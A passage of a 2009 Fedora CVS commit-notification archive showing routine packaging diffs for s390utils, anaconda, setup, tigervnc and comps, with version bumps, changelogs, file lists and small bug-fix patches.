-     - lsluns:   List available SCSI LUNs depending on adapter or port.
-     - lszcrypt: Show Information about zcrypt devices and configuration.
-     - chzcrypt: Modify zcrypt configuration.
+     - chccwdev:   Modify generic attributes of channel attached devices.
+     - lscss:      List channel subsystem devices.
+     - lsdasd:     List channel attached direct access storage devices (DASD).
+     - lsqeth:     List all qeth-based network devices with their corresponding
+                   settings.
+     - lstape:     List tape devices, both channel and FCP attached.
+     - lszfcp:     Shows information contained in sysfs about zfcp adapters,
+                   ports and units that are online.
+     - lschp:      List information about available channel-paths.
+     - chchp:      Modify channel-path state.
+     - lsluns:     List available SCSI LUNs depending on adapter or port.
+     - lszcrypt:   Show Information about zcrypt devices and configuration.
+     - chzcrypt:   Modify zcrypt configuration.
+     - znetconf:   List and configure network devices for System z network
+                   adapters.
+     - cio_ignore: Query and modify the contents of the CIO device driver
+                   blacklist.
 
    * dumpconf:
      Allows to configure the dump device used for system dump in case a kernel
@@ -423,7 +384,6 @@ fi
 %defattr(-,root,root,-)
 %doc README
 %doc LICENSE
-/sbin/vmur
 /sbin/zipl
 /sbin/dasdfmt
 /sbin/dasdinfo
@@ -432,6 +392,7 @@ fi
 /sbin/chccwdev
 /sbin/chchp
 /sbin/chzcrypt
+/sbin/cio_ignore
 /sbin/lschp
 /sbin/lscss
 /sbin/lsdasd
@@ -449,6 +410,7 @@ fi
 /sbin/tunedasd
 /sbin/vmcp
 /sbin/zgetdump
+/sbin/znetconf
 /sbin/dbginfo.sh
 %{_sbindir}/lsreipl
 %{_sbindir}/lsshut
@@ -456,10 +418,12 @@ fi
 %{_sbindir}/chshut
 %{_sbindir}/ip_watcher.pl
 %{_sbindir}/start_hsnc.sh
+%{_sbindir}/vmur
 %{_sbindir}/xcec-bridge
 %{_bindir}/vmconvert
 %{_initddir}/dumpconf
 %config(noreplace) %{_sysconfdir}/sysconfig/dumpconf
+/lib/s390-tools
 %{_mandir}/man1/zfcpdbf.1*
 %{_mandir}/man4/prandom.4*
 %{_mandir}/man5/zipl.conf.5*
@@ -468,6 +432,7 @@ fi
 %{_mandir}/man8/chreipl.8*
 %{_mandir}/man8/chshut.8*
 %{_mandir}/man8/chzcrypt.8*
+%{_mandir}/man8/cio_ignore.8*
 %{_mandir}/man8/dasdfmt.8*
 %{_mandir}/man8/dasdinfo.8*
 %{_mandir}/man8/dasdview.8*
@@ -492,6 +457,7 @@ fi
 %{_mandir}/man8/vmcp.8*
 %{_mandir}/man8/vmur.8*
 %{_mandir}/man8/zgetdump.8*
+%{_mandir}/man8/znetconf.8*
 %{_mandir}/man8/zipl.8*
 
 # Additional Redhat specific stuff
@@ -615,18 +581,18 @@ Group:          Applications/System
 Requires:       perl lsscsi coreutils blktrace >= 1.0.1
 
 %description ziomon
-Tool set to collect data for zfcp performance analysis.
+Tool set to collect data for zfcp performance analysis and report.
 
 %files ziomon
 %defattr(-,root,root,-)
-/sbin/ziomon
-/sbin/ziomon_fcpconf
-/sbin/ziomon_mgr
-/sbin/ziomon_util
-/sbin/ziomon_zfcpdd
-/sbin/ziorep_config
-/sbin/ziorep_traffic
-/sbin/ziorep_utilization
+%{_sbindir}/ziomon
+%{_sbindir}/ziomon_fcpconf
+%{_sbindir}/ziomon_mgr
+%{_sbindir}/ziomon_util
+%{_sbindir}/ziomon_zfcpdd
+%{_sbindir}/ziorep_config
+%{_sbindir}/ziorep_traffic
+%{_sbindir}/ziorep_utilization
 %{_mandir}/man8/ziomon.8*
 %{_mandir}/man8/ziomon_fcpconf.8*
 %{_mandir}/man8/ziomon_mgr.8*
@@ -646,7 +612,14 @@ Group:          Applications/System
 BuildRequires:  gettext
 
 %description iucvterm
-z/VM IUCV terminal applications.
+A set of applications to provide terminal access via the z/VM Inter-User
+Communication Vehicle (IUCV). The terminal access does not require an
+active TCP/IP connection between two Linux guest operating systems.
+
+- iucvconn:  Application to establish a terminal connection via z/VM IUCV.
+- iucvtty:   Application to provide terminal access via z/VM IUCV.
+- ts-shell:  Terminal server shell to authorize and control IUCV terminal
+             connections for individual Linux users.
 
 %pre iucvterm
 # check for ts-shell group and create it
@@ -787,6 +760,10 @@ User-space development files for the s39
 
 
 %changelog
+* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
+- added patch for improving mon_statd behaviour
+- rebased to 1.8.2
+
 * Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
 - really changed ramdisk load address (#526339)
 - change the required and optional subpackages for the meta package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Jul 2009 09:23:00 -0000	1.3
+++ sources	8 Oct 2009 13:55:38 -0000	1.4
@@ -1,4 +1,4 @@
-6a94c4655204a4ec7a2c64f42c9afed3  s390-tools-1.8.1.tar.bz2
+856ecdd42ad358433eb3fcc886b58a89  s390-tools-1.8.2.tar.bz2
 71a8ee5918f2c44c385fcfe8350cdc98  cmsfs-1.1.8c.tar.gz
 2cbfffca3f07c61420899f45d221d451  lib-zfcp-hbaapi-2.0.tar.gz
 ba42772e5b305b5e147344442cd70826  src_vipa-2.0.4.tar.gz


--- 0001-s390-tools-1.8.1-common-mak.patch DELETED ---


--- 0004-s390-tools-1.8.1-zipl-automenu.patch DELETED ---


--- 0005-s390-tools-1.8.1-fdasd-su.patch DELETED ---


--- 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch DELETED ---


--- 0008-s390-tools-1.8.1-ziorep-fixes.patch DELETED ---


--- 0009-s390-tools-1.8.1-cflags.patch DELETED ---


--- 0010-s390-tools-1.8.1-defaultmenu.patch DELETED ---


--- 0011-s390-tools-1.8.1-execstack.patch DELETED ---


--- 0012-s390-tools-1.8.1-ziomon-fixes.patch DELETED ---


--- 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch DELETED ---


--- 0014-s390-tools-1.8.1-zipl-kdump-man.patch DELETED ---


--- 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch DELETED ---


--- 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch DELETED ---


--- 0017-s390-tools-1.8.1-cpuplugd-memplug.patch DELETED ---


--- 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch DELETED ---


--- 0019-s390-tools-1.8.1-lsluns-disk-enc.patch DELETED ---


--- 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch DELETED ---


--- 0021-s390-tools-1.8.1-lszfcp-perf.patch DELETED ---


--- 0022-fix-string-overflow-in-vtoc_volume_label_init.patch DELETED ---


--- 0023-change-default-load-address-for-ramdisk.patch DELETED ---


--- 0024-s390-tools-1.8.1-cpuplugd-limits.patch DELETED ---


--- 0025-s390-tools-1.8.1-misc-bugfixes.patch DELETED ---



From rvykydal at fedoraproject.org  Thu Oct  8 14:10:54 2009
From: rvykydal at fedoraproject.org (Radek Vykydal)
Date: Thu,  8 Oct 2009 14:10:54 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.676, 1.677 anaconda.spec, 1.826,
	1.827 sources, 1.810, 1.811
Message-ID: <20091008141054.7AC7E11C029B@cvs1.fedora.phx.redhat.com>

Author: rvykydal

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29286

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 12.35-1
- Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
- Create DASDDevice objects for DASD devices when building devicetree. 
  (dcantrell)
- Add udev_device_is_dasd() to detect DASD devices. (dcantrell)
- Change existing call to deviceNameToDiskByPath(). (dcantrell)
- Make storage.devices.deviceNameToDiskByPath() more robust. (dcantrell)
- Do not copy over 70-persistent.rules if instPath is '' (#527707) (dcantrell)
- Filter out 'Sending translation for' log messages in bumpver. (dcantrell)
- Don't copy _raidSet, but merely pass around a reference (hdegoede)
- Action...Format setup device before modifying the partition table (hdegoede)
- map() -> filter() in storage.writeEscrowPackets() (dcantrell)
- Only initialize escrow packet code if there's devices that need it (#527668).
  (clumens)
- Stop trying to run xrandr (#527678). (clumens)
- On lookup of a PartedDevice also check for _ped.DeviceException (#527699)
  (hdegoede)
- Set related ayum attributes if media is found when editing methodstr
  (#515441). (rvykydal)
- In repo editing UI do not use object we are creating (#515441). (rvykydal)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.676
retrieving revision 1.677
diff -u -p -r1.676 -r1.677
--- .cvsignore	6 Oct 2009 20:24:18 -0000	1.676
+++ .cvsignore	8 Oct 2009 14:10:53 -0000	1.677
@@ -1 +1 @@
-anaconda-12.34.tar.bz2
+anaconda-12.35.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.826
retrieving revision 1.827
diff -u -p -r1.826 -r1.827
--- anaconda.spec	6 Oct 2009 20:24:18 -0000	1.826
+++ anaconda.spec	8 Oct 2009 14:10:54 -0000	1.827
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.34
+Version: 12.35
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,27 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 12.35-1
+- Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
+- Create DASDDevice objects for DASD devices when building devicetree. 
+  (dcantrell)
+- Add udev_device_is_dasd() to detect DASD devices. (dcantrell)
+- Change existing call to deviceNameToDiskByPath(). (dcantrell)
+- Make storage.devices.deviceNameToDiskByPath() more robust. (dcantrell)
+- Do not copy over 70-persistent.rules if instPath is '' (#527707) (dcantrell)
+- Filter out 'Sending translation for' log messages in bumpver. (dcantrell)
+- Don't copy _raidSet, but merely pass around a reference (hdegoede)
+- Action...Format setup device before modifying the partition table (hdegoede)
+- map() -> filter() in storage.writeEscrowPackets() (dcantrell)
+- Only initialize escrow packet code if there's devices that need it (#527668).
+  (clumens)
+- Stop trying to run xrandr (#527678). (clumens)
+- On lookup of a PartedDevice also check for _ped.DeviceException (#527699)
+  (hdegoede)
+- Set related ayum attributes if media is found when editing methodstr
+  (#515441). (rvykydal)
+- In repo editing UI do not use object we are creating (#515441). (rvykydal)
+
 * Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 12.34-1
 - Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
 - Use $LIBDIR to find the boot-wrapper file. (jkeating)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.810
retrieving revision 1.811
diff -u -p -r1.810 -r1.811
--- sources	6 Oct 2009 20:24:18 -0000	1.810
+++ sources	8 Oct 2009 14:10:54 -0000	1.811
@@ -1 +1 @@
-7dea64189e77a2beec9e9ba7097fde49  anaconda-12.34.tar.bz2
+6c6be178c7b351116bc790ffd17e5df7  anaconda-12.35.tar.bz2



From ovasik at fedoraproject.org  Thu Oct  8 14:13:27 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Thu,  8 Oct 2009 14:13:27 +0000 (UTC)
Subject: rpms/setup/F-11 setup.spec,1.77,1.78
Message-ID: <20091008141327.840F511C00DB@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/setup/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29975

Modified Files:
	setup.spec 
Log Message:
adjust /dev/pts fstab line if broken by installation (#515521), use <lua> scriptlet for deleting files in correct way


Index: setup.spec
===================================================================
RCS file: /cvs/extras/rpms/setup/F-11/setup.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- setup.spec	10 Apr 2009 08:51:41 -0000	1.77
+++ setup.spec	8 Oct 2009 14:13:27 -0000	1.78
@@ -1,7 +1,7 @@
 Summary: A set of system configuration and setup files
 Name: setup
 Version: 2.8.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: https://fedorahosted.org/setup/
@@ -50,13 +50,16 @@ rm -f %{buildroot}/etc/setup.spec
 %clean
 rm -rf %{buildroot}
 
-%postun
 #throw away useless and dangerous update stuff until rpm will be able to
 #handle it ( http://rpm.org/ticket/6 )
-rm -f /etc/passwd.rpmnew
-rm -f /etc/shadow.rpmnew
-rm -f /etc/group.rpmnew
-rm -f /etc/gshadow.rpmnew
+%post -p <lua>
+for i, name in ipairs({"passwd", "shadow", "group", "gshadow"}) do
+     os.remove("/etc/"..name..".rpmnew")
+end
+if (os.execute("") == 0 and posix.access("/bin/sed", "x")) then
+  os.execute("sed -i -e 's/devpts  defaults/devpts  gid=5,mode=620/' /etc/fstab >/dev/null 2>&1 || :")
+end
+
 
 %files
 %defattr(-,root,root)
@@ -90,6 +93,11 @@ rm -f /etc/gshadow.rpmnew
 %ghost %verify(not md5 size mtime) %config(noreplace,missingok) /etc/mtab
 
 %changelog
+* Mon Oct 08 2009 Ondrej Vasik <ovasik at redhat.com> 2.8.3-2
+- adjust /dev/pts fstab line if broken by installation
+  (#515521)
+- use <lua> scriptlet for deleting files in correct way
+
 * Fri Apr 10 2009 Ondrej Vasik <ovasik at redhat.com> 2.8.3-1
 - do not disable coredumps in profile/csh.cshrc scripts,
   coredumps already disabled in rawhide's RLIMIT_CORE(#495035)



From atkac at fedoraproject.org  Thu Oct  8 14:15:01 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 14:15:01 +0000 (UTC)
Subject: rpms/tigervnc/F-11 tigervnc10-rh510185.patch, NONE,
	1.1 tigervnc10-rh524340.patch, NONE, 1.1 .cvsignore, 1.6,
	1.7 sources, 1.6, 1.7 tigervnc.spec, 1.13,
	1.14 tigervnc10-rh495457.patch, 1.1,
	NONE tigervnc10-rh508998.patch, 1.1,
	NONE tigervnc10-xorg-rh514528.patch, 1.1, NONE
Message-ID: <20091008141501.70D3F11C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30399

Modified Files:
	.cvsignore sources tigervnc.spec 
Added Files:
	tigervnc10-rh510185.patch tigervnc10-rh524340.patch 
Removed Files:
	tigervnc10-rh495457.patch tigervnc10-rh508998.patch 
	tigervnc10-xorg-rh514528.patch 
Log Message:
- update to 1.0.0 release
  - tigervnc10-rh508998.patch merged
  - tigervnc10-xorg-rh514528.patch merged
  - tigervnc10-rh495457.patch merged
- improve -LowColorSwitch documentation and handling (#510185)
- honor dotWhenNoCursor option (and it's changes) every time (#524340)


tigervnc10-rh510185.patch:
 vncviewer.cxx |    7 +++++++
 vncviewer.man |    4 +++-
 2 files changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE tigervnc10-rh510185.patch ---
unchanged:
--- unix/vncviewer/vncviewer.man	(revision 3902)
+++ unix/vncviewer/vncviewer.man	(working copy)
@@ -156,7 +156,9 @@
 .B \-LowColorLevel, \-LowColourLevel \fIlevel\fP
 Selects the reduced color level to use on slow links.  \fIlevel\fP can range
 from 0 to 2, 0 meaning 8 colors, 1 meaning 64 colors (the default), 2 meaning
-256 colors.
+256 colors. Note that decision if reduced color level is used is made by
+vncviewer. If you would like to force vncviewer to use reduced color level
+use \fB-AutoSelect=0\fP parameter.
 
 .TP
 .B \-PreferredEncoding \fIencoding\fP
only in patch2:
unchanged:
--- unix/vncviewer/vncviewer.cxx	(revision 3902)
+++ unix/vncviewer/vncviewer.cxx	(working copy)
@@ -337,6 +337,13 @@
 			&& !::fullColour.hasBeenSet()
 			&& !::fullColourAlias.hasBeenSet());
   }
+  if (!::fullColour.hasBeenSet() && !::fullColourAlias.hasBeenSet()) {
+    // Default to FullColor=0 if AutoSelect=0 && LowColorLevel is set
+    if (!::autoSelect && (::lowColourLevel.hasBeenSet() ||
+			  ::lowColourLevelAlias.hasBeenSet())) {
+      ::fullColour.setParam(false);
+    }
+  }
   if (!::customCompressLevel.hasBeenSet()) {
     // Default to CustomCompressLevel=1 if CompressLevel is used.
     ::customCompressLevel.setParam(::compressLevel.hasBeenSet());

tigervnc10-rh524340.patch:
 CConn.cxx         |    1 +
 DesktopWindow.cxx |   13 +++++--------
 DesktopWindow.h   |    7 +++++++
 3 files changed, 13 insertions(+), 8 deletions(-)

--- NEW FILE tigervnc10-rh524340.patch ---
Index: unix/vncviewer/DesktopWindow.h
===================================================================
--- unix/vncviewer/DesktopWindow.h	(revision 3903)
+++ unix/vncviewer/DesktopWindow.h	(working copy)
@@ -29,6 +29,7 @@
 #include "TXWindow.h"
 #include "TXViewport.h"
 #include "TXImage.h"
+#include "parameters.h"
 
 class CConn;
 
@@ -54,6 +55,12 @@
   // resetLocalCursor() stops the rendering of the local cursor
   void resetLocalCursor();
 
+  // setNoCursor() sets what to display when no cursor is defined - if dot or
+  // nothing.
+  inline void setNoCursor() {
+    XDefineCursor(dpy, win(), dotWhenNoCursor ? dotCursor : noCursor);
+  }
+
   // Methods forwarded from CConn
   void setColourMapEntries(int firstColour, int nColours, rdr::U16* rgbs);
   void serverCutText(const char* str, rdr::U32 len);
Index: unix/vncviewer/CConn.cxx
===================================================================
--- unix/vncviewer/CConn.cxx	(revision 3903)
+++ unix/vncviewer/CConn.cxx	(working copy)
@@ -684,6 +684,7 @@
       desktop->resetLocalCursor();
   }
   dotWhenNoCursor.setParam(options.dotWhenNoCursor.checked());
+  desktop->setNoCursor();
   checkEncodings();
 }
 
Index: unix/vncviewer/DesktopWindow.cxx
===================================================================
--- unix/vncviewer/DesktopWindow.cxx	(revision 3903)
+++ unix/vncviewer/DesktopWindow.cxx	(working copy)
@@ -79,7 +79,7 @@
                PointerMotionMask | KeyPressMask | KeyReleaseMask |
                EnterWindowMask | LeaveWindowMask);
   createXCursors();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   im = new TXImage(dpy, width(), height());
   if (!serverPF.trueColour)
     im->setPF(serverPF);
@@ -139,12 +139,9 @@
     if (((rdr::U8*)mask)[i]) break;
 
   if (i == mask_len) {
-    if (dotWhenNoCursor) {
+    if (dotWhenNoCursor)
       vlog.debug("cursor is empty - using dot");
-      XDefineCursor(dpy, win(), dotCursor);
-    } else {
-      XDefineCursor(dpy, win(), noCursor);
-    }
+    setNoCursor();
     cursorAvailable = false;
     return;
   }
@@ -206,7 +203,7 @@
 void DesktopWindow::resetLocalCursor()
 {
   hideLocalCursor();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   cursorAvailable = false;
 }
 
@@ -226,7 +223,7 @@
     if (!getPF().equal(cursor.getPF()) ||
         cursor.getRect().is_empty()) {
       vlog.error("attempting to render invalid local cursor");
-      XDefineCursor(dpy, win(), dotCursor);
+      setNoCursor();
       cursorAvailable = false;
       return;
     }


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	22 Jun 2009 12:14:51 -0000	1.6
+++ .cvsignore	8 Oct 2009 14:15:01 -0000	1.7
@@ -1 +1 @@
-tigervnc-0.0.91.tar.gz
+tigervnc-1.0.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	22 Jun 2009 12:14:51 -0000	1.6
+++ sources	8 Oct 2009 14:15:01 -0000	1.7
@@ -1 +1 @@
-9aff0c8b573f040aeca4560636fa6886  tigervnc-0.0.91.tar.gz
+622c6689a66651419b5431efdee99d5a  tigervnc-1.0.0.tar.gz


Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-11/tigervnc.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- tigervnc.spec	14 Aug 2009 13:47:08 -0000	1.13
+++ tigervnc.spec	8 Oct 2009 14:15:01 -0000	1.14
@@ -1,6 +1,6 @@
 Name:		tigervnc
-Version:	0.0.91
-Release:	0.12%{?dist}
+Version:	1.0.0
+Release:	1%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -38,9 +38,8 @@ Obsoletes:	tightvnc < 1.5.0-0.15.2009020
 Patch0:		tigervnc-102434.patch
 Patch4:		tigervnc-cookie.patch
 Patch8:		tigervnc-viewer-reparent.patch
-Patch9:		tigervnc10-rh495457.patch
-Patch10:	tigervnc10-xorg-rh514528.patch
-Patch11:	tigervnc10-rh508998.patch
+Patch11:	tigervnc10-rh510185.patch
+Patch12:	tigervnc10-rh524340.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -88,22 +87,20 @@ to access the desktop on your machine.
 %prep
 %setup -q -n %{name}-%{version}
 
-%patch11 -p1 -b .rh508998
-
 cp -r %{_datadir}/xorg-x11-server-source/* unix/xserver
 pushd unix/xserver
 for all in `find . -type f -perm -001`; do
 	chmod -x "$all"
 done
 patch -p1 -b --suffix .vnc < ../xserver16.patch
-%patch10 -p1 -b .rh514528
 popd
 
 
 %patch0 -p1 -b .102434
 %patch4 -p1 -b .cookie
 %patch8 -p1 -b .viewer-reparent
-%patch9 -p0 -b .rh495457
+%patch11 -p0 -b .rh510185
+%patch12 -p0 -b .rh524340
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -249,6 +246,14 @@ fi
 %endif
 
 %changelog
+* Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-1
+- update to 1.0.0 release
+  - tigervnc10-rh508998.patch merged
+  - tigervnc10-xorg-rh514528.patch merged
+  - tigervnc10-rh495457.patch merged
+- improve -LowColorSwitch documentation and handling (#510185)
+- honor dotWhenNoCursor option (and it's changes) every time (#524340)
+
 * Fri Aug 14 2009 Adam Tkac <atkac redhat com> 0.0.91-12
 - don't segfault due unitialized Activate/DeactivateGrab (#514528)
 - fix random cursor disappearing (#508998)


--- tigervnc10-rh495457.patch DELETED ---


--- tigervnc10-rh508998.patch DELETED ---


--- tigervnc10-xorg-rh514528.patch DELETED ---



From rvykydal at fedoraproject.org  Thu Oct  8 14:22:09 2009
From: rvykydal at fedoraproject.org (Radek Vykydal)
Date: Thu,  8 Oct 2009 14:22:09 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.676, 1.677 anaconda.spec, 1.826, 
	1.827 sources, 1.810, 1.811
Message-ID: <20091008142209.549CA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rvykydal

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv376

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 13.2-1
- Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
- Create DASDDevice objects for DASD devices when building devicetree.
  (dcantrell)
- Add udev_device_is_dasd() to detect DASD devices. (dcantrell)
- Change existing call to deviceNameToDiskByPath(). (dcantrell)
- Make storage.devices.deviceNameToDiskByPath() more robust. (dcantrell)
- Do not copy over 70-persistent.rules if instPath is '' (#527707) (dcantrell)
- Filter out 'Sending translation for' log messages in bumpver. (dcantrell)
- Don't copy _raidSet, but merely pass around a reference (hdegoede)
- Action...Format setup device before modifying the partition table (hdegoede)
- map() -> filter() in storage.writeEscrowPackets() (dcantrell)
- lokkit has moved to a subpackage, so require that (#523709). (clumens)
- Stop trying to run xrandr (#527678). (clumens)
- Only initialize escrow packet code if there's devices that need it (#527668).
  (clumens)
- On lookup of a PartedDevice also check for _ped.DeviceException (#527699)
  (hdegoede)
- Set related ayum attributes if media is found when editing methodstr
  (#515441). (rvykydal)
- In repo editing UI do not use object we are creating (#515441). (rvykydal)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.676
retrieving revision 1.677
diff -u -p -r1.676 -r1.677
--- .cvsignore	6 Oct 2009 20:05:01 -0000	1.676
+++ .cvsignore	8 Oct 2009 14:22:08 -0000	1.677
@@ -1 +1 @@
-anaconda-13.1.tar.bz2
+anaconda-13.2.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.826
retrieving revision 1.827
diff -u -p -r1.826 -r1.827
--- anaconda.spec	6 Oct 2009 20:05:01 -0000	1.826
+++ anaconda.spec	8 Oct 2009 14:22:08 -0000	1.827
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.1
+Version: 13.2
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -111,7 +111,7 @@ Requires: libbdevid-python
 Requires: libuser-python
 Requires: newt-python
 Requires: authconfig
-Requires: system-config-firewall
+Requires: system-config-firewall-base
 Requires: cryptsetup-luks
 Requires: python-cryptsetup >= %{pythoncryptsetupver}
 Requires: mdadm
@@ -216,6 +216,28 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 13.2-1
+- Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
+- Create DASDDevice objects for DASD devices when building devicetree.
+  (dcantrell)
+- Add udev_device_is_dasd() to detect DASD devices. (dcantrell)
+- Change existing call to deviceNameToDiskByPath(). (dcantrell)
+- Make storage.devices.deviceNameToDiskByPath() more robust. (dcantrell)
+- Do not copy over 70-persistent.rules if instPath is '' (#527707) (dcantrell)
+- Filter out 'Sending translation for' log messages in bumpver. (dcantrell)
+- Don't copy _raidSet, but merely pass around a reference (hdegoede)
+- Action...Format setup device before modifying the partition table (hdegoede)
+- map() -> filter() in storage.writeEscrowPackets() (dcantrell)
+- lokkit has moved to a subpackage, so require that (#523709). (clumens)
+- Stop trying to run xrandr (#527678). (clumens)
+- Only initialize escrow packet code if there's devices that need it (#527668).
+  (clumens)
+- On lookup of a PartedDevice also check for _ped.DeviceException (#527699)
+  (hdegoede)
+- Set related ayum attributes if media is found when editing methodstr
+  (#515441). (rvykydal)
+- In repo editing UI do not use object we are creating (#515441). (rvykydal)
+
 * Tue Oct 06 2009 David Cantrell <dcantrell at redhat.com> - 13.1-1
 - Tell udev to ignore temporary cryptsetup devices. (#526699) (dlehman)
 - Have redhat.exec reference generic.prm, not redhat.parm (dcantrell)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.810
retrieving revision 1.811
diff -u -p -r1.810 -r1.811
--- sources	6 Oct 2009 20:05:02 -0000	1.810
+++ sources	8 Oct 2009 14:22:08 -0000	1.811
@@ -1 +1 @@
-39b2327f1dcca63548c44ee546e0911f  anaconda-13.1.tar.bz2
+a0fdb9df53469b32ce860f6525b4a00f  anaconda-13.2.tar.bz2



From atorkhov at fedoraproject.org  Thu Oct  8 14:39:23 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Thu,  8 Oct 2009 14:39:23 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.277, 1.278 comps-f11.xml.in, 1.305,
	1.306 comps-f12.xml.in, 1.149, 1.150 comps-f13.xml.in, 1.35, 1.36
Message-ID: <20091008143923.884BB11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6203

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
adding kcheckers


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.277
retrieving revision 1.278
diff -u -p -r1.277 -r1.278
--- comps-f10.xml.in	4 Oct 2009 04:33:13 -0000	1.277
+++ comps-f10.xml.in	8 Oct 2009 14:39:22 -0000	1.278
@@ -1751,6 +1751,7 @@
       <packagereq type="optional">gweled</packagereq>
       <packagereq type="optional">hedgewars</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
+      <packagereq type="optional">kcheckers</packagereq>
       <packagereq type="optional">kcirbshooter</packagereq>
       <packagereq type="optional">kdeaddons-atlantikdesigner</packagereq>
       <packagereq type="optional">kdegames</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.305
retrieving revision 1.306
diff -u -p -r1.305 -r1.306
--- comps-f11.xml.in	5 Oct 2009 21:52:03 -0000	1.305
+++ comps-f11.xml.in	8 Oct 2009 14:39:22 -0000	1.306
@@ -2095,6 +2095,7 @@
       <packagereq type="optional">gweled</packagereq>
       <packagereq type="optional">hedgewars</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
+      <packagereq type="optional">kcheckers</packagereq>
       <packagereq type="optional">kcirbshooter</packagereq>
       <packagereq type="optional">kdeaddons-atlantikdesigner</packagereq>
       <packagereq type="optional">kdegames</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- comps-f12.xml.in	8 Oct 2009 06:23:52 -0000	1.149
+++ comps-f12.xml.in	8 Oct 2009 14:39:22 -0000	1.150
@@ -2258,6 +2258,7 @@
